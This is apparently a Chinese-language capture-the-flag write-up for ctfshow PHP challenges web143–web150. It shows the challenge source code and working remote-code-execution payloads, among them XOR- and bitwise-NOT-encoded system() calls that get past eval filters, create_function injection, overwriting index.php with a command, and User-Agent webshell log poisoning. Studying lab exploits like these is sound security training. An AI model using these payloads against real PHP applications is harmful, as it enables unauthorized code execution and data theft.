// 外层循环:遍历目标字符串的每个字符 for ($i = 0; $i < count($argv); $i++) { // 内层循环:遍历 ASCII 码 0-254 的所有可能值 for ($j = 0; $j < 255; $j++) { // 核心:计算 chr(j) 和 chr(255)(即 %ff 对应的字符)的异或结果 $k = chr($j) ^ chr(255); // 当异或结果等于目标字符串的当前字符时,记录对应的十六进制编码 if ($k == $argv[$i]) { // 处理 j < 16 的情况,补 0 生成 %0x 格式(如 j=1 → %01) if ($j < 16) { $l .= "%ff"; $r .= "%0" . dechex($j); continue; } // 处理 j >= 16 的情况,直接生成 %xx 格式(如 j=17 → %11) $l .= "%ff"; $r .= "%" . dechex($j); continue; } } }
// 输出最终的异或表达式格式:('$l')^('$r') echo "('$l')^('$r')"; ?>
|
然后这次他ban掉了加减除,乘没ban掉,所以在v3前后加上*号,连接三个参数
?v1=1&v2=2&v3=*(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%27^%27%93%8c%27)*
这里的v3是system(ls)
最终payload
?v1=1&v2=2&v3=*(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%27^%27%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f%27)*
web144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
function check($str){ return strlen($str)===1?true:false; }
|
跟上一题差不多,只是这题多了个要检查v3的长度是否为1,是1再继续执行程序,那就v3和v2传参的值变换一下
?v1=1&v3=-&v2=(%27%ff%ff%ff%ff%ff%ff%27^%27%8c%86%8c%8b%9a%92%27)(%27%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%27^%27%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f%27)
web145
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
这题加减乘除不能用了,可以用|,取反就能解
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)| system(ls)
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| system(cat flag.php)
web146
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
沿用145的payload
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
web147
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }
}
|
看这题的提示说
1
| php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
|
好像跟create_function函数有关系
1 2 3 4 5 6 7
| create_function('$a','echo $a."123"')
类似于
function f($a) { echo $a."123"; }
|
这个函数有漏洞,如果$a在中间可控,闭合前面和后面的代码,然后加上恶意命令执行,就有漏洞
所以这题POST传参的ctf可以设置成create_function,调用create_function函数,然后get传参show,利用漏洞闭合前面和后面,中间加上恶意命令执行

ls改成cat flag.php就能解出flag,7.20版本之前可以用这个漏洞解题
web148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); }
function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
|
过滤了~,取反不能用,那就用异或
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
web149
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| error_reporting(0); highlight_file(__FILE__);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
|
条件竞争,遍历当前目录下所有文件,如果文件不是index.php,就删掉,但是这里有个非预期解
他不删index.php,那可以朝index.php里面写入恶意命令
1 2
| ?ctf=index.php cmd=system("ls /")
|

web150
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){ $this->vip = 0; $this->secret = $flag; }
function __destruct(){ echo $this->secret; }
public function isVIP(){ return $this->vip?TRUE:FALSE; } }
function __autoload($class){ if(isset($class)){ $class(); } }
$key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
|
非预期日志包含,ua写马
1 2 3
| ?isVIP=true ctf=/var/log/nginx/access.log cmd=system("ls /")
|